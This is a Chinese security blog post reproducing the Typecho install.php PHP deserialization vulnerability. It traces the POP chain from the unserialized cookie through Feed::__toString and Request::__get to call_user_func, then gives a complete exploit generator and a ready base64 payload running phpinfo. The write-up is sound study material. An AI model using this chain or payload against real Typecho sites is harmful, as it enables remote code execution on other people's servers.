Skip to content
Menu
0xdawn's blog
  • 首页
  • 关于我
  • 联系方式
0xdawn's blog
2019年12月13日

Typecho反序列化漏洞复现

漏洞成因

install.php中229-235行存在如下代码

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

第230行获取了'__typecho_config' Cookie信息后未进行过滤直接执行反序列化操作,导致这个点可以进行反序列化攻击。

第232行$db = new Typecho_Db($config['adapter'], $config['prefix']);跟进一下这个Db对象

魔术方法

方法 调用条件
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发

在Db.php中120存在如下代码

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

$adapterName定义的时候拼接了一个字符串,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,自动调用__toString 魔术方法。

全局搜索__toString 方法,得到三处结果

  • Config.php

    public function __toString()
    {
      return serialize($this->_currentConfig);
    }

    执行序列化操作

  • Query.php

      public function __toString()
      {
          switch ($this->_sqlPreBuild['action']) {
              case Typecho_Db::SELECT:
                  return $this->_adapter->parseSelect($this->_sqlPreBuild);
              case Typecho_Db::INSERT:
                  return 'INSERT INTO '
                  . $this->_sqlPreBuild['table']
                  . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                  . ' VALUES '
                  . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                  . $this->_sqlPreBuild['limit'];
              case Typecho_Db::DELETE:
                  return 'DELETE FROM '
                  . $this->_sqlPreBuild['table']
                  . $this->_sqlPreBuild['where'];
              case Typecho_Db::UPDATE:
                  $columns = array();
                  if (isset($this->_sqlPreBuild['rows'])) {
                      foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                          $columns[] = "$key = $val";
                      }
                  }
    
                  return 'UPDATE '
                  . $this->_sqlPreBuild['table']
                  . ' SET ' . implode(' , ', $columns)
                  . $this->_sqlPreBuild['where'];
              default:
                  return NULL;
          }
      }

    这里是构造的一些查询语句,也没有可利用的点

  • Feed.php

    从第290行开始

    foreach ($this->_items as $item) {
          $content .= '' . self::EOL;
          $content .= '' . htmlspecialchars($item['title']) . '' . self::EOL;
          $content .= '' . $item['link'] . '' . self::EOL;
          $content .= '' . $item['link'] . '' . self::EOL;
          $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
          $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;

    程序调用私有变量所在类的__get()方法获取私有变量

搜索__get 得到的结果如下

重点在Request.php中

public function __get($key)
{
    return $this->get($key);
}

跟进这个get方法来到283行

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

$value的值最终传入_applyFilter,那么再找一下这个函数的位置

第159行private function使用了两个危险函数

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}
  • array_map
  • call_user_func

如果$value是数组则将调用array_map,反之则将调用call_user_func

完整流程

  • 从Cookie或POST数据中找到'__typecho_config'字段

  • 调用'__typecho_config'中的'adapter'和'prefix'实例化一个Typecho_Db类

  • 当设置的'adapter'是一个类时,触发__toString()魔术方法

  • Feed类中的__toString()魔术方法访问了$item['author']->screenName触发get()魔术方法

  • Typecho_Request类调用__get()方法最终_params[$key]的值传入_applyFilter方法并执行代码

Exp

<?php
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();

        public function __construct()
        {
            $this->_params['screenName'] = 1; // 执行的参数值
            $this->_filter[0] = 'phpinfo'; //filter执行的函数
        }
    }
    class Typecho_Feed{
        const RSS2 = 'RSS 2.0'; //进入toString内部判断条件
        private $_items = array();
        private $_type;
        function __construct()
        {
            $this->_type = self::RSS2;
            $_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象
        $_item['category'] = array(new Typecho_Request());//触发错误
            $this->_items[0] = $_item;
        }
    }
    $exp = new Typecho_Feed();
    $a = array(
        'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象
        'prefix' =>'typecho_'
    );
    echo urlencode(base64_encode(serialize($a)));
?>

得到的payload如下

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6MTt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7aToxO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NzoicGhwaW5mbyI7fX19fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D

参考链接:https://www.anquanke.com/post/id/155306

​ https://www.freebuf.com/vuls/152058.html

​ https://www.freebuf.com/vuls/155753.html

  有时候,禁锢我们的,不是环境设下的牢笼,不是他人施与的压力,而是我们自己把自己局限在狭隘的空间里,在无端中迷失了自我.

云烟成雨

https://www.0xdawn.cn/wp-content/uploads/2019/11/房东的猫-云烟成雨.mp3

文章检索

分类

  • CTF
  • 代码审计
  • 学习笔记
  • 渗透测试
  • 漏洞演练

近期文章

  • 2021长城杯 Write up by D0g3
  • 2021网刃杯 write up
  • 2021羊城杯 Web Write up
  • 第五届蓝帽杯总决赛 write up
  • 第五届强网杯Web部分 write up

归档

联系我们

地址
成都信息工程大学

Email
yan@0xdawn.cn

QQ
1115230222

©2022 0xdawn's blog | Powered by WordPress and Superb Themes!